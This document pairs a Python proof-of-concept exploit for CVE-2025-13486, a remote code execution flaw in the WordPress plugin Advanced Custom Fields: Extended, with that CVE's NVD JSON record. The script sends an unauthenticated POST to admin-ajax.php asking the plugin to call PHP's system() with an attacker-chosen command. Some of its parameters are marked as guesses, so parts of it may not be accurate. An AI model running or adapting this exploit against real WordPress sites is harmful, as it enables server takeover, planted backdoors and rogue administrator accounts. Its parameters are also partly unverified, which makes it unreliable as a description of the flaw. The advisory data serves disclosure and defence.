CVE-2025-13486

#!/usr/bin/env python3 ''' CVE-2025-13486 PoC - Advanced Custom Fields: Extended RCE Note: This PoC is for educational and authorized security testing purposes only. ''' import requests import sys TARGET_URL = "http://target-wordpress-site.com" def exploit_cve_2025_13486(): """ Exploit the RCE vulnerability in prepare_form() function by controlling the function call via call_user_func_array() """ # Target endpoint that processes form data endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Payload to execute arbitrary command via call_user_func_array() # The prepare_form() function accepts user input and passes it to call_user_func_array() payload = { 'action': 'acfef_form_builder_submit', 'nonce': '', # May be bypassed or not required 'field_id': 'acfef_prepare_form', # Triggers prepare_form() 'function_name': 'system', # Arbitrary function call 'params': 'id' # Command to execute } print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Exploiting CVE-2025-13486: ACF Extended RCE") try: response = requests.post(endpoint, data=payload, timeout=10) print(f"[+] Request sent to {endpoint}") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Exploit request completed") print(f"[*] Response preview: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit_cve_2025_13486()

{"cve": {"id": "CVE-2025-13486", "sourceIdentifier": "[email protected]", "published": "2025-12-03T07:16:02.840", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Advanced Custom Fields: Extended plugin for WordPress is vulnerable to Remote Code Execution in versions 0.9.0.5 through 0.9.1.1 via the prepare_form() function. This is due to the function accepting user input and then passing that through call_user_func_array(). This makes it possible for unauthenticated attackers to execute arbitrary code on the server, which can be leveraged to inject backdoors or create new administrative user accounts."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3400134/acf-extended", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c508cb73-53e6-4ebe-b3d0-285908b722c9?source=cve", "source": "[email protected]"}]}}